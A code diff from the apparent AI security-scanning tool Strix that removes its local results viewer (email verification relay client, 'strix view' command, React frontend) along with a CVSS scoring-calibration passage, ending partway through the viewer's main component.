_send("viewer_feedback_submitted", {**base_props()})
|
||||
|
||||
|
||||
def viewer_agent_steered() -> None:
|
||||
_send("viewer_agent_steered", {**base_props()})
|
||||
|
||||
|
||||
def error(error_type: str) -> None:
|
||||
props = {**base_props(), "error_type": error_type}
|
||||
_send("error", props)
|
||||
|
||||
@@ -422,30 +422,6 @@ async def create_vulnerability_report(
|
||||
"availability": "H"
|
||||
}
|
||||
|
||||
**CVSS calibration** — score the weakness you actually proved, not a
|
||||
hypothetical worst case. Most over-rating comes from these mistakes:
|
||||
|
||||
- **Don't presuppose a separate compromise.** If exploitation
|
||||
requires the attacker to already hold a victim secret (a stolen
|
||||
session cookie/token, a leaked one-time link, intercepted traffic),
|
||||
that acquisition is not free. Do not score it as
|
||||
``privileges_required:N`` with ``attack_complexity:L`` as if
|
||||
directly reachable, and do not rate a replay-of-captured-secret
|
||||
issue High/Critical unless the *same* finding demonstrates a
|
||||
concrete way to obtain that secret. Issues like a session that
|
||||
survives logout or a replayable link are session-management /
|
||||
defense-in-depth weaknesses — usually Low/Medium on their own.
|
||||
- **Reserve ``H`` impact for demonstrated broad impact.** ``C:H`` /
|
||||
``I:H`` require proof of wide or systemic read/write. A single
|
||||
user's data, a read-only information leak, or merely confirming
|
||||
that an account / domain / software version *exists* (enumeration)
|
||||
is ``C:L`` (often ``I:N``) — not ``C:H``.
|
||||
- **Model required position and interaction honestly.** An
|
||||
adversary-in-the-middle prerequisite (e.g. cleartext transmission)
|
||||
or a required victim action is not guaranteed — reflect it in
|
||||
``attack_complexity`` / ``user_interaction`` instead of assuming the
|
||||
ideal condition always holds.
|
||||
|
||||
**CVE / CWE rules**: pass the bare ID only (``CVE-2024-1234``,
|
||||
``CWE-89``) — no name, no parenthetical. Be 100% certain; if
|
||||
unsure, use ``web_search`` to verify the ID before passing, or omit
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
"""Local web viewer for Strix runs.
|
||||
|
||||
Serves a prebuilt single-page app that renders a run (live or finished) read
|
||||
directly from the run's on-disk files. No cloud dependency, no file picker.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from strix.viewer.server import serve
|
||||
|
||||
|
||||
__all__ = ["serve"]
|
||||
@@ -1,272 +0,0 @@
|
||||
"""Viewer email verification state and the relay client.
|
||||
|
||||
The local viewer proxies email verification and encrypted-report delivery to
|
||||
the Strix relay (``STRIX_APP_URL``). The browser never talks to the relay
|
||||
directly, and the report password generated locally is never sent to it.
|
||||
|
||||
State lives in ``~/.strix/viewer-auth.json`` (0600). ``is_verified`` is a local
|
||||
flag that unlocks browsing the run history list; the relay still enforces token
|
||||
expiry when a report is actually sent.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import contextlib
|
||||
import json
|
||||
import logging
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from strix.config.loader import load_settings
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
AUTH_PATH = Path.home() / ".strix" / "viewer-auth.json"
|
||||
|
||||
_OTP_TIMEOUT = 15
|
||||
_SEND_TIMEOUT = 30
|
||||
|
||||
|
||||
class RelayError(Exception):
|
||||
"""A relay call failed. ``code`` is a stable, machine-readable reason."""
|
||||
|
||||
def __init__(self, code: str, message: str | None = None) -> None:
|
||||
self.code = code
|
||||
super().__init__(message or code)
|
||||
|
||||
|
||||
# --- local state ------------------------------------------------------------
|
||||
|
||||
|
||||
def read_auth() -> dict[str, Any] | None:
|
||||
"""Return the stored ``{email, token, verified_at}`` record, or None."""
|
||||
try:
|
||||
data = json.loads(AUTH_PATH.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError):
|
||||
return None
|
||||
if not isinstance(data, dict):
|
||||
return None
|
||||
email = data.get("email")
|
||||
token = data.get("token")
|
||||
if not isinstance(email, str) or not email or not isinstance(token, str) or not token:
|
||||
return None
|
||||
return data
|
||||
|
||||
|
||||
def parse_expiry(raw: object) -> datetime | None:
|
||||
"""Parse a relay ``expires_at`` value into an aware UTC datetime.
|
||||
|
||||
Accepts both ISO 8601 strings and epoch seconds (as a number or numeric
|
||||
string) so a valid relay expiry is not misread as missing. Returns None only
|
||||
when it is genuinely absent or unparseable; both the local gate (see
|
||||
``is_verified``) and OTP verification (see ``otp_verify``) fail closed on such
|
||||
values, matching the relay, which rejects a token with no valid expiry.
|
||||
"""
|
||||
if isinstance(raw, bool):
|
||||
return None
|
||||
if isinstance(raw, int | float):
|
||||
return _from_epoch(raw)
|
||||
if not isinstance(raw, str) or not raw:
|
||||
return None
|
||||
try:
|
||||
return _from_epoch(float(raw))
|
||||
except ValueError:
|
||||
pass
|
||||
try:
|
||||
parsed = datetime.fromisoformat(raw.replace("Z", "+00:00"))
|
||||
except ValueError:
|
||||
return None
|
||||
return parsed if parsed.tzinfo else parsed.replace(tzinfo=UTC)
|
||||
|
||||
|
||||
def _expiry(record: dict[str, Any]) -> datetime | None:
|
||||
"""The stored ``verified_at`` parsed to a datetime, or None if unusable."""
|
||||
return parse_expiry(record.get("verified_at"))
|
||||
|
||||
|
||||
def _from_epoch(seconds: float) -> datetime | None:
|
||||
"""Epoch seconds → aware UTC datetime, or None if out of range."""
|
||||
try:
|
||||
return datetime.fromtimestamp(seconds, tz=UTC)
|
||||
except (OverflowError, OSError, ValueError):
|
||||
return None
|
||||
|
||||
|
||||
def is_verified() -> bool:
|
||||
"""True when a usable email + token record with a valid future expiry exists.
|
||||
|
||||
The expiry returned by OTP verification is enforced here so history stops
|
||||
unlocking once the token lapses. It fails closed: a record whose expiry is
|
||||
absent, blank, or unparseable requires re-verification rather than unlocking
|
||||
forever, keeping the local gate in step with the relay (which rejects an
|
||||
expired token on report send).
|
||||
"""
|
||||
record = read_auth()
|
||||
if record is None:
|
||||
return False
|
||||
expiry = _expiry(record)
|
||||
return expiry is not None and expiry > datetime.now(UTC)
|
||||
|
||||
|
||||
def write_auth(email: str, token: str, verified_at: str) -> None:
|
||||
"""Atomically persist the auth record with 0600 permissions."""
|
||||
AUTH_PATH.parent.mkdir(parents=True, exist_ok=True)
|
||||
payload = json.dumps({"email": email, "token": token, "verified_at": verified_at})
|
||||
tmp = AUTH_PATH.with_suffix(".json.tmp")
|
||||
tmp.write_text(payload, encoding="utf-8")
|
||||
with contextlib.suppress(OSError):
|
||||
tmp.chmod(0o600)
|
||||
tmp.replace(AUTH_PATH)
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.chmod(0o600)
|
||||
|
||||
|
||||
def forget() -> None:
|
||||
"""Delete the stored auth record. No-op if it is absent."""
|
||||
with contextlib.suppress(OSError):
|
||||
AUTH_PATH.unlink()
|
||||
|
||||
|
||||
# --- relay client -----------------------------------------------------------
|
||||
|
||||
|
||||
def _app_url() -> str:
|
||||
return load_settings().viewer.app_url.rstrip("/")
|
||||
|
||||
|
||||
def _post_json(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int, dict[str, Any]]:
|
||||
"""POST JSON to the relay. Returns (status, parsed body).
|
||||
|
||||
Raises RelayError("unavailable") for network/transport failures. HTTP
|
||||
error responses (4xx/5xx) are returned as (status, body) for the caller to
|
||||
map, not raised.
|
||||
"""
|
||||
url = f"{_app_url()}{path}"
|
||||
body = json.dumps(payload).encode("utf-8")
|
||||
request = urllib.request.Request( # noqa: S310 - fixed https relay URL
|
||||
url,
|
||||
data=body,
|
||||
headers={"Content-Type": "application/json", "Accept": "application/json"},
|
||||
method="POST",
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(request, timeout=timeout) as response: # noqa: S310
|
||||
return response.status, _parse_body(response.read())
|
||||
except urllib.error.HTTPError as exc:
|
||||
return exc.code, _parse_body(exc.read())
|
||||
except (urllib.error.URLError, TimeoutError, OSError) as exc:
|
||||
logger.warning("relay request to %s failed: %s", path, exc)
|
||||
raise RelayError("unavailable") from exc
|
||||
|
||||
|
||||
def _parse_body(raw: bytes) -> dict[str, Any]:
|
||||
try:
|
||||
data = json.loads(raw or b"{}")
|
||||
except json.JSONDecodeError:
|
||||
return {}
|
||||
return data if isinstance(data, dict) else {}
|
||||
|
||||
|
||||
def otp_start(email: str) -> None:
|
||||
"""Ask the relay to email a verification code. Raises RelayError on failure."""
|
||||
status, data = _post_json("/api/oss/otp/start", {"email": email}, timeout=_OTP_TIMEOUT)
|
||||
if status == 200:
|
||||
return
|
||||
if status == 429:
|
||||
raise RelayError("rate_limited")
|
||||
if status == 400:
|
||||
# The relay uses 400 both for a malformed address and, separately, to
|
||||
# reject a free/personal email domain (it wants a work email).
|
||||
if data.get("error") == "work_email_required":
|
||||
raise RelayError("work_email_required")
|
||||
raise RelayError("invalid_email")
|
||||
raise RelayError("unavailable")
|
||||
|
||||
|
||||
def otp_verify(email: str, code: str) -> dict[str, Any]:
|
||||
"""Verify a code. Returns ``{token, email, expires_at}`` or raises RelayError."""
|
||||
status, data = _post_json(
|
||||
"/api/oss/otp/verify",
|
||||
{"email": email, "code": code},
|
||||
timeout=_OTP_TIMEOUT,
|
||||
)
|
||||
if status == 200 and isinstance(data.get("token"), str):
|
||||
# A token with no usable expiry cannot unlock history locally (the gate
|
||||
# fails closed), so treat such a response as a failed verification rather
|
||||
# than reporting success and then leaving the user stuck unverified.
|
||||
if parse_expiry(data.get("expires_at")) is None:
|
||||
raise RelayError("unavailable")
|
||||
return data
|
||||
if status == 403:
|
||||
raise RelayError("invalid_code")
|
||||
raise RelayError("unavailable")
|
||||
|
||||
|
||||
def feedback_submit(email: str, message: str) -> None:
|
||||
"""Relay a feedback message + email to Strix. No verification is required;
|
||||
the email is taken as given. Raises RelayError on failure."""
|
||||
status, data = _post_json(
|
||||
"/api/oss/feedback",
|
||||
{"email": email, "message": message},
|
||||
timeout=_OTP_TIMEOUT,
|
||||
)
|
||||
if status == 200:
|
||||
return
|
||||
if status == 429:
|
||||
raise RelayError("rate_limited")
|
||||
if status == 400:
|
||||
code = data.get("error")
|
||||
if code in ("invalid_email", "invalid_message"):
|
||||
raise RelayError(str(code))
|
||||
raise RelayError("invalid_message")
|
||||
raise RelayError("unavailable")
|
||||
|
||||
|
||||
def report_send(
|
||||
token: str,
|
||||
pdf_bytes: bytes,
|
||||
filename: str,
|
||||
run_name: str,
|
||||
target: str,
|
||||
) -> None:
|
||||
"""Forward the encrypted PDF to the relay for delivery.
|
||||
|
||||
The report password is NEVER part of this payload; only the encrypted PDF
|
||||
bytes travel to the relay.
|
||||
"""
|
||||
payload = {
|
||||
"token": token,
|
||||
"pdf_base64": base64.b64encode(pdf_bytes).decode("ascii"),
|
||||
"filename": filename,
|
||||
"run_name": run_name,
|
||||
"target": target,
|
||||
}
|
||||
status, _ = _post_json("/api/oss/report/send", payload, timeout=_SEND_TIMEOUT)
|
||||
if status == 200:
|
||||
return
|
||||
if status == 401:
|
||||
raise RelayError("reverify")
|
||||
if status == 413:
|
||||
raise RelayError("too_large")
|
||||
if status == 403:
|
||||
raise RelayError("forbidden")
|
||||
raise RelayError("unavailable")
|
||||
|
||||
|
||||
__all__ = [
|
||||
"AUTH_PATH",
|
||||
"RelayError",
|
||||
"feedback_submit",
|
||||
"forget",
|
||||
"is_verified",
|
||||
"otp_start",
|
||||
"otp_verify",
|
||||
"read_auth",
|
||||
"report_send",
|
||||
"write_auth",
|
||||
]
|
||||
@@ -1,142 +0,0 @@
|
||||
"""`strix view [<run>]` command: serve a run's viewer UI locally."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
import time
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
from rich.console import Console
|
||||
|
||||
from strix.core.paths import (
|
||||
RUNS_DIR_NAME,
|
||||
latest_run_dir,
|
||||
run_dir_for,
|
||||
run_record_path,
|
||||
runs_base_dir,
|
||||
)
|
||||
from strix.viewer.server import authorized_url, bundle_is_built, serve
|
||||
from strix.viewer.transcript import read_run_summary
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
from typing import NoReturn
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def run_view(argv: list[str]) -> None:
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="strix view",
|
||||
description="Open a local web view of a Strix run (live or finished).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"run",
|
||||
nargs="?",
|
||||
default=None,
|
||||
help=f"Run name under ./{RUNS_DIR_NAME} (defaults to the most recent run).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--port",
|
||||
type=int,
|
||||
default=0,
|
||||
help="Port to serve on (default: an available ephemeral port).",
|
||||
)
|
||||
parser.add_argument("--host", default="127.0.0.1", help=argparse.SUPPRESS)
|
||||
parser.add_argument(
|
||||
"--no-open",
|
||||
action="store_true",
|
||||
help="Do not open the browser automatically.",
|
||||
)
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
console = Console()
|
||||
|
||||
if not bundle_is_built():
|
||||
console.print(
|
||||
"[bold red]Viewer UI is not built.[/]\n"
|
||||
"Build it with: [cyan]cd strix/viewer/frontend && npm ci && npm run build[/]"
|
||||
)
|
||||
raise SystemExit(1)
|
||||
|
||||
run_dir = _resolve_run_dir(args.run, console)
|
||||
|
||||
httpd, url, token = serve(
|
||||
run_dir,
|
||||
host=args.host,
|
||||
port=args.port,
|
||||
open_browser=not args.no_open,
|
||||
)
|
||||
# The tokened URL is what authorizes the browser (steering, report sending,
|
||||
# history). Print it rather than the bare URL so the operator -- and only
|
||||
# the operator -- can open or share an authorized link.
|
||||
open_url = authorized_url(url, token)
|
||||
|
||||
run_name = run_dir.name
|
||||
summary = read_run_summary(run_dir)
|
||||
live = not summary.get("finished", False)
|
||||
|
||||
from strix.telemetry import posthog
|
||||
|
||||
posthog.viewer_opened(source="cli", live=live)
|
||||
|
||||
state_label = "[#eab308]live[/]" if live else "[#22c55e]finished[/]"
|
||||
console.print()
|
||||
console.print(f"Serving [bold white]{run_name}[/] ({state_label}) at:")
|
||||
# Print the URL alone on its own line with soft_wrap so Rich never inserts a
|
||||
# wrap into the (long, tokened) link -- that keeps it selectable/copyable.
|
||||
console.print(f" [#60a5fa]{open_url}[/]", soft_wrap=True)
|
||||
console.print("[dim]This link authorizes the browser; anyone you share it with can steer[/]")
|
||||
console.print("[dim]a live scan and browse history. Press Ctrl-C to stop the viewer.[/]")
|
||||
console.print()
|
||||
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1.0)
|
||||
except KeyboardInterrupt:
|
||||
console.print("\n[dim]Viewer stopped.[/]")
|
||||
finally:
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def _resolve_run_dir(run: str | None, console: Console) -> Path:
|
||||
if run:
|
||||
run_dir = run_dir_for(run)
|
||||
if not run_record_path(run_dir).is_file():
|
||||
_fail_no_run(console, requested=run)
|
||||
return run_dir
|
||||
|
||||
latest = latest_run_dir()
|
||||
if latest is None:
|
||||
_fail_no_run(console, requested=None)
|
||||
return latest
|
||||
|
||||
|
||||
def _fail_no_run(console: Console, *, requested: str | None) -> NoReturn:
|
||||
base = runs_base_dir()
|
||||
available = (
|
||||
sorted(
|
||||
(child.name for child in base.iterdir() if run_record_path(child).is_file()),
|
||||
reverse=True,
|
||||
)
|
||||
if base.is_dir()
|
||||
else []
|
||||
)
|
||||
|
||||
if requested:
|
||||
console.print(f"[bold red]No run named '{requested}' under ./{RUNS_DIR_NAME}.[/]")
|
||||
else:
|
||||
console.print(f"[bold red]No runs found under ./{RUNS_DIR_NAME}.[/]")
|
||||
|
||||
if available:
|
||||
console.print("Available runs:")
|
||||
for name in available[:20]:
|
||||
console.print(f" [cyan]{name}[/]")
|
||||
raise SystemExit(1)
|
||||
|
||||
|
||||
__all__ = ["run_view"]
|
||||
@@ -1,14 +0,0 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/png" href="./logo.png" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="color-scheme" content="dark" />
|
||||
<title>Strix Results</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
Generated
-4228
File diff suppressed because it is too large
Load Diff
@@ -1,35 +0,0 @@
|
||||
{
|
||||
"name": "strix-viewer",
|
||||
"private": true,
|
||||
"version": "0.0.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "vite build",
|
||||
"preview": "vite preview"
|
||||
},
|
||||
"dependencies": {
|
||||
"@dagrejs/dagre": "^2.0.4",
|
||||
"@xyflow/react": "^12.10.1",
|
||||
"clsx": "^2.1.1",
|
||||
"diff": "^8.0.3",
|
||||
"highlight.js": "^11.11.1",
|
||||
"lucide-react": "^0.563.0",
|
||||
"react": "^19.2.0",
|
||||
"react-dom": "^19.2.0",
|
||||
"react-icons": "^5.7.0",
|
||||
"react-markdown": "^10.1.0",
|
||||
"remark-gfm": "^4.0.1",
|
||||
"tailwind-merge": "^3.4.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/vite": "^4.1.0",
|
||||
"@types/diff": "^7.0.2",
|
||||
"@types/react": "^19.2.0",
|
||||
"@types/react-dom": "^19.2.0",
|
||||
"@vitejs/plugin-react": "^5.0.0",
|
||||
"tailwindcss": "^4.1.0",
|
||||
"typescript": "^5.6.0",
|
||||
"vite": "^6.0.0"
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 3.7 KiB |
@@ -1,789 +0,0 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import {
|
||||
ArrowLeft,
|
||||
AlertCircle,
|
||||
Bot,
|
||||
Mail,
|
||||
ChevronDown,
|
||||
Radar,
|
||||
Rocket,
|
||||
ArrowUpRight,
|
||||
History,
|
||||
} from "lucide-react";
|
||||
import type { Vulnerability, VulnerabilitySeverity } from "@/types/issues";
|
||||
import { SEVERITY_COLORS } from "@/types/issues";
|
||||
import { getSeverityDot } from "@/lib/vulnerability-utils";
|
||||
import VulnerabilityDetail from "@/components/vulnerability/VulnerabilityDetail";
|
||||
import { ContentSection } from "@/components/vulnerability/ContentSection";
|
||||
import { IssueSeveritySummary } from "@/components/IssueSeveritySummary";
|
||||
import AgentGraph from "@/components/live/AgentGraph";
|
||||
import { buildGraphAgents } from "@/components/live/AgentTranscript";
|
||||
import AgentDetailModal from "@/components/live/AgentDetailModal";
|
||||
import { ScanPromptComposer } from "@/components/live/ScanPromptComposer";
|
||||
import { severityCounts, type ParsedRunSummary } from "@/lib/local-run-parser";
|
||||
import {
|
||||
fetchAll,
|
||||
fetchAuthStatus,
|
||||
fetchCapabilities,
|
||||
fetchRunSummary,
|
||||
fetchRuns,
|
||||
fetchTranscript,
|
||||
fetchVulnerabilities,
|
||||
forgetAuth,
|
||||
type AuthStatus,
|
||||
type LoadedRun,
|
||||
type RunsPayload,
|
||||
} from "@/data/serverSource";
|
||||
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
|
||||
import { runTitle } from "@/lib/target-utils";
|
||||
import Sidebar from "@/components/Sidebar";
|
||||
import PastRunsView from "@/components/PastRunsView";
|
||||
import EmailReportView from "@/components/EmailReportView";
|
||||
import { RunDetails } from "@/components/RunDetails";
|
||||
import { TrustToast } from "@/components/TrustToast";
|
||||
import FeedbackView from "@/components/FeedbackView";
|
||||
import { ProInlineCta } from "@/components/ProCta";
|
||||
|
||||
export type View = "overview" | "issues" | "agents" | "history" | "email" | "feedback";
|
||||
|
||||
const TRUST_BANNER =
|
||||
"Your findings stay on your machine. They're rendered here locally in your browser and never uploaded or stored by Strix.";
|
||||
|
||||
const SEVERITY_ORDER: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
|
||||
const POLL_MS = 500;
|
||||
|
||||
export default function App() {
|
||||
const [activeRun, setActiveRun] = useState<string | null>(null);
|
||||
const [run, setRun] = useState<LoadedRun | null>(null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [selectedId, setSelectedId] = useState<string | null>(null);
|
||||
const [view, setView] = useState<View>("overview");
|
||||
const [auth, setAuth] = useState<AuthStatus | null>(null);
|
||||
const [runs, setRuns] = useState<RunsPayload | null>(null);
|
||||
const [emailPurpose, setEmailPurpose] = useState<"report" | "verify">("report");
|
||||
const [emailSkipDisclosure, setEmailSkipDisclosure] = useState(false);
|
||||
// Whether this viewer can steer a live scan (true only inside the in-TUI
|
||||
// launcher that shares the running scan's coordinator + event loop).
|
||||
const [canSteer, setCanSteer] = useState(false);
|
||||
|
||||
const refreshAuth = useCallback(async () => {
|
||||
try {
|
||||
setAuth(await fetchAuthStatus());
|
||||
} catch {
|
||||
/* auth status is best-effort; the launched run stays viewable */
|
||||
}
|
||||
}, []);
|
||||
|
||||
const refreshRuns = useCallback(async () => {
|
||||
try {
|
||||
setRuns(await fetchRuns());
|
||||
} catch {
|
||||
/* history list is best-effort */
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
void refreshAuth();
|
||||
void refreshRuns();
|
||||
// Capabilities never change over a session, so fetch once on mount.
|
||||
fetchCapabilities()
|
||||
.then((caps) => setCanSteer(caps.can_steer))
|
||||
.catch(() => {
|
||||
/* absence of steering is the safe default */
|
||||
});
|
||||
}, [refreshAuth, refreshRuns]);
|
||||
|
||||
// Live polling, scoped to the active run. Re-runs when the active run changes
|
||||
// so switching to a past run (?run=<name>) reloads its data; a finished run
|
||||
// does a single full fetch and stops.
|
||||
const finishedRef = useRef(false);
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
let timer: ReturnType<typeof setTimeout> | undefined;
|
||||
finishedRef.current = false;
|
||||
|
||||
const schedule = () => {
|
||||
timer = setTimeout(tick, POLL_MS);
|
||||
};
|
||||
|
||||
const tick = async () => {
|
||||
if (cancelled) return;
|
||||
try {
|
||||
const { summary, raw, finished } = await fetchRunSummary(activeRun);
|
||||
if (cancelled) return;
|
||||
if (finished && !finishedRef.current) {
|
||||
finishedRef.current = true;
|
||||
const full = await fetchAll(activeRun);
|
||||
if (!cancelled) setRun(full);
|
||||
return; // stop polling
|
||||
}
|
||||
const [transcript, vulnerabilities] = await Promise.all([
|
||||
fetchTranscript(activeRun).catch(() => ({ agents: [], events: [] })),
|
||||
fetchVulnerabilities(summary.runId, activeRun).catch(() => [] as Vulnerability[]),
|
||||
]);
|
||||
if (cancelled) return;
|
||||
setRun((prev) => ({
|
||||
summary,
|
||||
raw,
|
||||
finished,
|
||||
transcript,
|
||||
vulnerabilities,
|
||||
reportMarkdown: prev?.reportMarkdown ?? null,
|
||||
}));
|
||||
schedule();
|
||||
} catch (e) {
|
||||
if (cancelled) return;
|
||||
setError(e instanceof Error ? e.message : "Could not load run data.");
|
||||
schedule();
|
||||
}
|
||||
};
|
||||
|
||||
(async () => {
|
||||
try {
|
||||
const full = await fetchAll(activeRun);
|
||||
if (cancelled) return;
|
||||
setRun(full);
|
||||
if (full.finished) {
|
||||
finishedRef.current = true;
|
||||
} else {
|
||||
schedule();
|
||||
}
|
||||
} catch (e) {
|
||||
if (cancelled) return;
|
||||
setError(e instanceof Error ? e.message : "Could not load run data.");
|
||||
schedule();
|
||||
}
|
||||
})();
|
||||
|
||||
return () => {
|
||||
cancelled = true;
|
||||
if (timer) clearTimeout(timer);
|
||||
};
|
||||
}, [activeRun]);
|
||||
|
||||
const counts = useMemo(
|
||||
() => (run ? severityCounts(run.vulnerabilities) : null),
|
||||
[run]
|
||||
);
|
||||
const selected = run?.vulnerabilities.find((v) => v.id === selectedId) ?? null;
|
||||
const agentCount = run?.transcript.agents.length ?? 0;
|
||||
const verified = auth?.verified === true;
|
||||
|
||||
// Per-run guard for the default view: land on Agents while a scan is live,
|
||||
// Overview once it finishes. Applied at most once per run and never once the
|
||||
// user has navigated manually (userSetView flips the guard).
|
||||
const initialViewAppliedRef = useRef(false);
|
||||
|
||||
// Reset the guard whenever the active run changes so the newly selected run
|
||||
// gets its own default.
|
||||
useEffect(() => {
|
||||
initialViewAppliedRef.current = false;
|
||||
}, [activeRun]);
|
||||
|
||||
useEffect(() => {
|
||||
if (initialViewAppliedRef.current || !run) return;
|
||||
if (run.finished) {
|
||||
initialViewAppliedRef.current = true;
|
||||
setView("overview");
|
||||
} else if (agentCount > 0) {
|
||||
// Live and agents have appeared: default to the agent graph. If it is
|
||||
// live but no agents exist yet, wait (do not apply, do not set the flag).
|
||||
initialViewAppliedRef.current = true;
|
||||
setView("agents");
|
||||
}
|
||||
}, [run, agentCount]);
|
||||
|
||||
// User-initiated navigation: mark the default guard applied so the per-run
|
||||
// default effect never yanks the user off the view they chose.
|
||||
const userSetView = useCallback((v: View) => {
|
||||
initialViewAppliedRef.current = true;
|
||||
setView(v);
|
||||
}, []);
|
||||
|
||||
const selectRun = useCallback((name: string) => {
|
||||
setActiveRun(name);
|
||||
setSelectedId(null);
|
||||
setRun(null);
|
||||
setError(null);
|
||||
// Reset the guard so the per-run default applies to the newly selected run.
|
||||
initialViewAppliedRef.current = false;
|
||||
}, []);
|
||||
|
||||
const goEmail = useCallback((skipDisclosure: boolean, surface: string) => {
|
||||
trackCta("email_report", surface);
|
||||
setEmailPurpose("report");
|
||||
setEmailSkipDisclosure(skipDisclosure);
|
||||
userSetView("email");
|
||||
}, [userSetView]);
|
||||
|
||||
// Sidebar entry keeps the disclosure (first place those users see it);
|
||||
const openEmail = useCallback(() => goEmail(false, "sidebar"), [goEmail]);
|
||||
// the Overview CTA already states the tradeoff, so it starts the flow directly.
|
||||
const openEmailFromOverview = useCallback(() => goEmail(true, "overview"), [goEmail]);
|
||||
|
||||
const openHistory = useCallback(() => {
|
||||
void refreshRuns();
|
||||
userSetView("history");
|
||||
}, [refreshRuns, userSetView]);
|
||||
|
||||
const onPastRunsVerified = useCallback(async () => {
|
||||
await refreshAuth();
|
||||
await refreshRuns();
|
||||
}, [refreshAuth, refreshRuns]);
|
||||
|
||||
const onForget = useCallback(async () => {
|
||||
await forgetAuth();
|
||||
await refreshAuth();
|
||||
await refreshRuns();
|
||||
}, [refreshAuth, refreshRuns]);
|
||||
|
||||
return (
|
||||
<div className="min-h-screen bg-black text-white flex">
|
||||
<Sidebar
|
||||
view={view}
|
||||
onSelectView={(v) => {
|
||||
// Clicking a sidebar view always lands on that section's top level,
|
||||
// so leaving a specific issue's detail view and clicking "Issues"
|
||||
// returns to the full findings list.
|
||||
setSelectedId(null);
|
||||
if (v === "history") openHistory();
|
||||
else userSetView(v);
|
||||
}}
|
||||
issuesCount={run?.vulnerabilities.length ?? 0}
|
||||
agentCount={agentCount}
|
||||
runCount={runs?.count ?? 0}
|
||||
finished={run?.finished ?? false}
|
||||
verified={verified}
|
||||
email={auth?.email ?? null}
|
||||
onOpenEmail={openEmail}
|
||||
onOpenHistory={openHistory}
|
||||
onForget={() => void onForget()}
|
||||
/>
|
||||
|
||||
<div className="flex-1 min-w-0">
|
||||
{/* Top bar */}
|
||||
<div className="border-b border-[#222]">
|
||||
<div className="max-w-[88rem] mx-auto px-3 sm:px-6 py-4 flex items-center gap-1.5">
|
||||
<a
|
||||
href={ctaUrl("https://app.strix.ai", "logo")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("logo", "topbar")}
|
||||
className="flex items-center gap-1.5 opacity-90 transition-opacity hover:opacity-100 lg:hidden"
|
||||
title="Open Strix Cloud"
|
||||
>
|
||||
<img src="./logo.png" alt="Strix" className="w-10 h-8 object-cover" />
|
||||
<div className="text-base text-white font-medium tracking-tight">Strix</div>
|
||||
</a>
|
||||
{run && <LiveIndicator finished={run.finished} />}
|
||||
<div className="ml-auto flex items-center gap-3">
|
||||
{verified && runs && !runs.locked && runs.runs.length > 0 && (
|
||||
<RunSwitcher
|
||||
runs={runs}
|
||||
activeRun={activeRun}
|
||||
launchedName={runTitle(run?.summary.targets[0] ?? null, run?.summary.runName ?? run?.summary.runId ?? "Current run")}
|
||||
onSelect={selectRun}
|
||||
/>
|
||||
)}
|
||||
<a
|
||||
href={ctaUrl(SIGNUP_URL, "run_in_cloud")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("run_in_cloud", "topbar")}
|
||||
className="inline-flex items-center gap-1 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity hover:opacity-90"
|
||||
>
|
||||
Run in the cloud
|
||||
<ArrowUpRight className="w-3 h-3" aria-hidden="true" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="max-w-[88rem] mx-auto px-3 sm:px-6 py-8 sm:py-12 space-y-6">
|
||||
{error && !run && view !== "history" && view !== "email" && (
|
||||
<div className="rounded-lg px-4 py-3 flex gap-3 items-start border border-red-500/30 bg-red-500/5">
|
||||
<AlertCircle className="w-5 h-5 flex-shrink-0 mt-0.5 text-red-400" aria-hidden="true" />
|
||||
<p className="text-sm text-red-300">{error}</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Keyed wrapper: re-mounts on every view / finding / run change so the
|
||||
page-in transition replays. */}
|
||||
<div
|
||||
key={`${activeRun ?? "launched"}:${view}:${selectedId ?? ""}`}
|
||||
className="animate-page-in space-y-6"
|
||||
>
|
||||
{view === "email" ? (
|
||||
<EmailReportView
|
||||
activeRun={activeRun}
|
||||
auth={auth}
|
||||
purpose={emailPurpose}
|
||||
skipDisclosure={emailSkipDisclosure}
